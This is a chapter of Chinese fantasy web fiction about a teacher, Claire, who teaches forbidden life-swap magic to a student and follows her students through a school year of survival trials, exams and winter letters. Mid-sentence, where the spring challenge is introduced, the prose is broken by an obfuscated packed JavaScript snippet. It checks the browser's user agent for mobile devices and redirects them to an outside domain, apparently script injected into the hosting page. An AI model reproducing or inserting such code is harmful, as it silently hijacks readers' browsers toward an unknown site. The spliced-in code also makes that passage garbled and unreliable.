有个流传很久的寓言故事,一个人遇到了一棵苹果树,树上只有两颗果子,一颗代表“智慧”,一颗代表“知道”。 她也是后来才发现,几乎所有人都选了智慧,这很合理,甚至算得上是正确答案。有了“智慧”,“知道”是迟早的事。 但她想要立刻“知道”,不想等待。 今天是周二,她们约定好每周的周三晚上,在克雷尔的工作室进行禁忌魔法的学习。 如果不是要提前准备,她会直接把时间定在周二晚上。 周三晚上,埃弗里准时来到工作室。 它看起来和平常没有区别,进来后才发现,内部空间被扩大过,现在有一个运动场那么大。 学习禁忌魔法的过程有点像之前的冒险,只不过是一对一版。埃弗里自己摸索,克雷尔不到万不得已,不会插手干预。 第一周的项目是生命置换,非常典型的禁忌魔法。可以把自身的身体状况,和别人交换,小到蚊子咬的包,大到癌症致命伤,都可以置换。 积极面是可以分担伤害,一个人的致死伤,分到多人身上,大家都能活下来。 消极面自不用提,比积极面多得多,会了这个魔法,让别人替自己赴死都不是问题。 这个魔法没被人为“失传”,有很多原因。危机时刻真的能救命算一个,二是不会有人轻易夺取她人性命——看安西娅、蒂娜、埃弗里三个人对魔王的态度就知道了。 三是所有禁忌魔法被使用时,都会被禁忌魔法监督部感知到。 她们的应对方案非常简单粗暴,如果被置换的那方死了,你也死;如果没死,原样置换回去,然后坐牢去吧。 埃弗里打了个哈欠,眼下乌青,她撸起袖子,“克雷尔,麻烦你了。” 说着,她飞快地念咒,只感觉空气突然振动起来,仿佛有什么东西,从她身上被剥离了,埃弗里顿时感到神清气爽。 轮到克雷尔打哈欠了,“很困,眼皮很重,心跳很快,看来成功了。昨天你是通宵了吗?” “通宵学习置换魔法的方程,但没成功,”埃弗里把袖子撸下去,失望地说,“我是想把手臂上的痣变到你身上——痣比较容易分辨成功没有。” 变错了。 “所以不要通宵。”克雷尔再次打了个哈欠,阻止埃弗里把黑眼圈变回去,“就这样吧,你清醒状态再试一次。” 埃弗里依言试了一次,在心里默念着“忽视身体的其她感受,只关注需要被剥离的地方”,这次成功把痣变了过去。 她备受鼓舞,把自己的熬夜状态和痣一起,从克雷尔身上拿了回来。 “做得不错。”克雷尔称赞。 埃弗里笑起来,兴奋得脸颊通红。可能是熬夜状态一下子袭来,把她搞得头昏脑涨;或者太高兴了,只是成功了一次就开始得意忘形。 也可能是从第一堂课上,看到死去的植物后,这个问题一直盘旋在她心里——她脱口而出:“你用过时间魔法吗,在你朋友的尸……?” 她花了两秒钟,才反应过来,意识到自己说出了多么冒犯的话,急切地向克雷尔走近两步,又猛地停住。 飘散在空气中的字句无法被收回,她不能假装自己没有说过。 “对不起,我——” “没有。虽然我最初研究时间魔法就是为了这个,但在植物身上实践后……那是我的朋友,不是仇人。即使是仇人,也不该被这么对待。” 克雷尔已经在回答了。 她似乎并未生气,埃弗里看不出她是真的不在意,还是因为刚才的事,对她的印象跌到谷底,认为她不值得自己动怒。 埃弗里想要继续道歉,克雷尔却没有给她开口的机会,“继续吧。刚才是清醒状态,你现在太困了,脑子不太清醒,再试下能不能置换成功。” 在确定非清醒状态也能置换成功后,结束了今天的课程。一人写了份给禁忌魔法监督部的报告,即刻发出,然后克雷尔就放她回去睡觉了。 开学第一周,一切都在有条不紊地进行。学生们清晨起来,全都拿到了今年份的校际活动通知。 食堂里充满了躁动的空气,不得不把所有窗户都打开,让那空气流出去一点,以免食堂像超出承受范围的气球一样爆炸。 蒂娜急切地问两个朋友,“你们在春季生存挑战上报名了,是不是?” “我还在考虑,感觉沙地生存难度不大,我是说,它更适合低年级,我们去年去过了,不是吗?”安西娅说。 蒂娜有些失望,立刻把目光投向埃弗里,后者正在吃一片煎蛋,心不在焉的样子,完全没发现她热切的眼神。 就在这时,克雷尔走进食堂,蒂娜立刻从座位上弹射起来,拼命冲她挥手。 克雷尔还没走到她们的餐桌前,就听到蒂娜大声问:“你会参加春季生存挑战吗?你去年肯定没参加过!呃,不过你只能作为带队老师参加。” “不,我不打算参加。”克雷尔在空位坐下,眼神在今日菜单上来回扫视,思考要吃什么。 她很快做出了选择,不一会儿就取餐回来,餐盘放着三个肉馅饼,一杯牛奶,一小盘果切。把盘子放在桌子上时,安西娅正担忧地问埃弗里,“……不顺利吗?” 埃弗里没有回答,而是下意识抬头看了克雷尔一眼,眼神对上一秒,然后克雷尔拿起了她的馅饼,咬了一大口。 她突然心就安定了,说:“很顺利。还有,我打算参加春季生存挑战。” 蒂娜立刻大声喊耶。 克雷尔早餐后,推开工作室的门,门缝里掉出一张纸,捡起看了下,是面向教师的校际活动通知,和蒂娜给她看的那份稍有不同。 在春季,学生们会在模拟出的场地,如沙漠、海洋等恶性环境中,利用自己的所学进行生存挑战。 教师们负责监督并确保安全。 夏季和秋季是类似的项目,教师们一如既往负责监督。 只有冬季的项目真正称得上是紧张刺激——期末考,教师负责出题和监考。 在众多项目里,不乏让她感到有趣的内容,但她一个也不打算参加。 共同面对危险的经历,总能让人们更快产生深厚的情谊,很美好。只是她觉得自己还适应不来这点。 春季的生存挑战定在三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559906|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月份,由各年级自愿报名的教师带队,为期一个月——因为走出已知最大的沙漠需要一个月的时间。 学生们什么都不能带进去,教师们好一点,可以带个小型地图,上面标记了自己队里学生们所处的位置。 去的当天,食堂里的饮品全部告罄,个个都是喝饱了水进去的,回来时,全都都像个干瘪的仙人掌。 仙人掌们神情骄傲。 在带队教师说完“一个都没有提前退出”之后,就立刻散了,全部奔向食堂,好像她们留在那,只是为了听那一句话一样。 没人去吃饭,每个人都是拿起水就喝,看起来没挨饿,只是水不够。克雷尔不解:“生存挑战里不能使用水魔法?” 旁边的那个教师非常自然地搭话了,在此之前她们没说过一句话。“即使是魔法,也必须来自已知的某个地方,沙漠里水源位置可不确定。” “我偷偷带了沙漠里特有的金黄蝎子回来,”蒂娜兴冲冲地说,“你肯定需要它!” 她把布包里的东西往安西娅手心倒,只倒出一小堆沙子。 安西娅淡定地把沙子收进一个小瓶子里。 埃弗里说:“蝎子不可食用,攻击力也弱,所以它是假的,出了模拟场就变回原样了。” “好吧。”蒂娜有点怏怏不乐,很快又振作起来,“我们冬假可以去沙漠玩,抓真的金黄蝎子!” 六月的团队项目很快到来,伴随着基础隔音魔法也隔绝不了的蝉鸣声。 每年的团队项目大同小异,年级内随机组队,闯关、寻物、救援,限时一周。 每个队伍抽到的主题项目都不同,埃弗里、蒂娜、安西娅分散在三个队伍里。 安西娅摊开手里的纸条给同伴看,“是穿越蠹虫灌木、水底寻物、高空营救的顺序。” 三个新同伴都是和她年纪差不多的人族,闻言面面相觑,其中一个说:“灌木……灌木先不提,后面两个很不利啊!嘿,咱们这边有人偷偷长了腮和翅膀吗?现在说出来也不晚哦。” “没人会偷偷长那个!” “我希望我能长。” 进入灌木丛后,蠹虫肆虐,小队里说笑的内容,也转变成了“有人身上长防虫喷雾了吗”,直到尖锐的破空声,从远处传来,打破了轻松的氛围。 “发生了什么?有东西从天上掉下来了好像!” “不,是斯凯奇诺在俯冲!”另一支在灌木丛中的队伍冲她们喊道。 “天空种族……有队伍已经进展到高空救援了?离谱,太快了吧!” “不,学校聘请斯凯奇诺,是让她们在区域里巡视,她们不会参与项目。”安西娅说,“看来已经有学生受伤了,需要被带离。我们必须再小心一点。” “……今年的项目比去年难好多。” “是啊,毕业班只会比我们更难。” 毕业班所在区域,配备了更强有力的保障团队,克雷尔是其中之一。 她不打算参与,但会隐匿魔法的教师不多。斯凯奇诺负责高空巡视,她和其她参与的教师负责陆地。 和她搭档的教师似乎是某个毕业班的导师,白发苍苍,脸上遍布皱纹。 克雷尔不喜欢她。 因为她会在巡逻途中,突然大力拍她肩膀,兴奋地指着某个学生,骄傲地说她有多么多么喜欢这个孩子,然后把手举得很高,冲自己的学生挥手。 即使在完全隐匿状态中,学生压根没办法感知到她。 这样的行为一天会重复二十多次,克雷尔怀疑,她喜欢的学生,比这个区域里所有学生加起来还要多。 第三天,毕业班的小队陆续进入寻物环节,克雷尔的搭档总是因为学生错过了一个关键物件,而着急地直拍大腿,大声叹气。 克雷尔在她每次拍腿之前,都会往她腿上丢一个隔绝力度的魔法,因为不想失去搭档,独自巡视。 “希望她们在九月份的团队项目里,能够更熟练。”项目最后一天,那位老教师问她,“九月份,你参加吗?” 克雷尔摇头,“九月太热了,巡视人员也禁用魔法的话……我不会参加的。” 九月份的团队项目完全复刻六月,只是禁用魔法——市面上隔绝魔法的道具很多,必须考虑到此类情景。 所以每年的6-9月,都是学校里阅读氛围最为浓郁的时间点,图书馆里到处都是翻阅书籍,小声讨论不用魔法如何取胜的学生。 九月过后,图书馆会陷入沉寂,十一月下旬重新热闹起来,这时各类乱七八糟的书会成为借阅的首选。 “乱七八糟?”克雷尔重复。 “对,因为十二月会进行期末测试。考试很近,但又不那么近,所以乱七八糟的书最受欢迎,”图书馆的管理员指了指旁边的书架,“《打嗝拯救世界》,来一份吗?我复制了很多。” “……不了。”克雷尔想了想,问,“有《正确出考题拯救世界》吗?” “我想没有,不过有《考试的起源》,希望对你有帮助。” 克雷尔借了那本书,书很薄,只有不到一百页,内容很简单。 在原始社会,老人教年轻人砍树,让年轻人砍给她看,是最早的考试;没砍中,要求重试,是最早的补考;还没砍中,老人重新教,是最早的补修…… ……没什么用,显然时间魔法不像砍树一样简单。 克雷尔把书还了回去。 “要考试的我,心就和天气一样冷。” “如果你不认真复习的话,我的心会更冷。” 进入十二月,此类对话频繁出现在学生和授课教师的口中。 克雷尔路过同事的工作室时,看到她正被一群学生缠着,然后用饮用水变出一个个小雪人,一人手里塞一个,把学生们都打发走了。 同事提着空水桶出来,瞥见克雷尔后,笑了一下,说:“今年还没下过雪呢,是不是?” 十二月的天空总是灰蒙蒙的,仿佛下一秒就会有雪花飘落,却左等右等依旧盼不来。 克雷尔很快也体验到了被学生围堵的待遇。不只是她年级的学生在问考试内容,还有别的班、别的年级,是为了让她倒退时间。 “学校!把学校作为施加时间魔法的对象,它也是死物,是可以的,倒退回春天开学前,这样就不用考试了!” 克雷尔不得不抽空思考了一下——为什么那么多会时间魔法的人,她们却选中了自己——然后问:“我难道是看起来很和蔼可亲的类型吗?” “对比我们第一次见你时,是的。”蒂娜在笔记本右上角画了个太阳,头也不抬地说。 复习太无聊,她手里的羽毛笔已经被揪得只剩羽管了。 第一次见到克雷尔,她们三人可是不约而同,立刻就警惕了起来。 有一半是因为隐匿魔法,她们没发现她,被吓到了,另一半是因为克雷尔看她们的眼神,她似乎对她们有点感兴趣,但那不是看感兴趣的“人”的眼神。 现在也称不上和蔼可亲,至少看人不像看待一棵树了。 “不用太在意,在考试周,即使是最严厉的老师,也会被追着问考题。”埃弗里说。她在看《打嗝拯救世界》,这意味着她已经复习得相当完美了。 安西娅问:“克雷尔是第一次当教师吧?有准备好测试的内容吗?” “差不多,我参考了去年和前年的测试内容,笔试加实操,”克雷尔说,“不会太严格的,因为新手即使失败了也不会造成很严重的后果。” “是啊,只要别念错咒语的音节。”埃弗里把书翻页,蒂娜瞪眼,作势要把她的书抢走,埃弗里立刻求饶,“对不起,我错了。” 安西娅看着她们闹了一会儿,然后转过头,“克雷尔计划在冬假做什么呢?” “和往年一样,消灭森林里的魔物。” “对你来说,这项工作只需要一天就能完成吧,要和我们一起去沙漠吗?不是模拟场,是真正的沙漠,有燃烧的篝火和雪。” 克雷尔摇头。 “我以为你会同意的!”蒂娜把书抛还给埃弗里,大声问,“你不喜欢沙漠、篝火和雪吗?” 克雷尔再次摇头,“我不喜欢沙漠的气候,而且,我答应要给达加弥亚她们写回信。” “啊,回信。”蒂娜似乎小声嘟囔了一句,坐回椅子上,突然眼睛一亮,“你和你的朋友们,之前一起去过沙漠吗?说不定我们可以在沙漠里找到第二封信,毕竟我们是被她们选中的!” “有这个可能。”可能性不大,但没必要打击她的积极性,克雷尔说,“说不定你们真的可以找到。” “如果我们找到了,一定会第一时间去找你,交给你的。” 克雷尔笑了下:“没有信也可以来找我,不过我可能不在那个房子里。” 这个冬天她选择居住在精灵的聚集地。 夏林隔壁的空房子打扫了出来,她愿意来帮忙,克雷尔很感激,但在她离开后,立刻对房子施加一个隔绝魔法,挡住从隔壁传来的、不太美妙的味道。 “给弗利达: 我认为我长进了很多,我也并不感到抱歉,时间还是在我身上起了作用,和那时比,我现在成熟了很多,看到你们给我的信,我并不难过,只是……” 只是什么呢? 墨点污染了纸张,克雷尔反复把信纸上的字迹清除,最后她写:“只是我觉得不合理,你们三个人共同写一封,而我一个人要准备三封信,我该写些什么?我想写的东西太多,它们都挤在我的笔头里,堵塞着,以至于一个单词都掉不下来……” 她又把这段话删了。 不知道该怎么下笔的时候,她就会去圣地,在二十三往后的架子里,随机挑选一个木盒,打发时光。 再一次面对达加弥亚的木盒,她花了一整个下午的时间,思索如果是达加弥亚,会往里面放点什么。 预言画、预言纸、信都被取走了,现在它只是一个空盒子——为了不让下一个打开它的人失望。 然后她发现,没有埃弗里在,她根本没办法打开这个盒子,更别提放东西进去了。 每周的三日和五日,她会去食堂帮忙,取出冻成冰块的肉类,解冻到适合切割的程度。 多雾的森林边缘,有太阳的日子并不多,在这极为罕见的时刻,她会和夏林一起,把她宝贵的植物和发酵肥搬出去,再支上两把躺椅,躺在上面晒太阳。 德科迈提的一枝藤蔓长到了她的屋前,缠绕在生锈的破旧信箱上,把投递口挡得结结实实。 克雷尔往每一个花朵里,都塞满了猪肉丝,这样它就不会在她出门时,朝她身上喷虫子。一周过后,这支藤蔓枯萎了。 “消化不良。” 夏林剪掉那只藤蔓时说,克雷尔对此表示怀疑。 枯萎的枝蔓通过投递口,伸进信箱里,信箱已经老到无法被钥匙打开了,克雷尔保证自己会恢复如初后,拆掉了信箱门。 取出枯枝败叶,在最里面,她发现一封破破旧旧的信。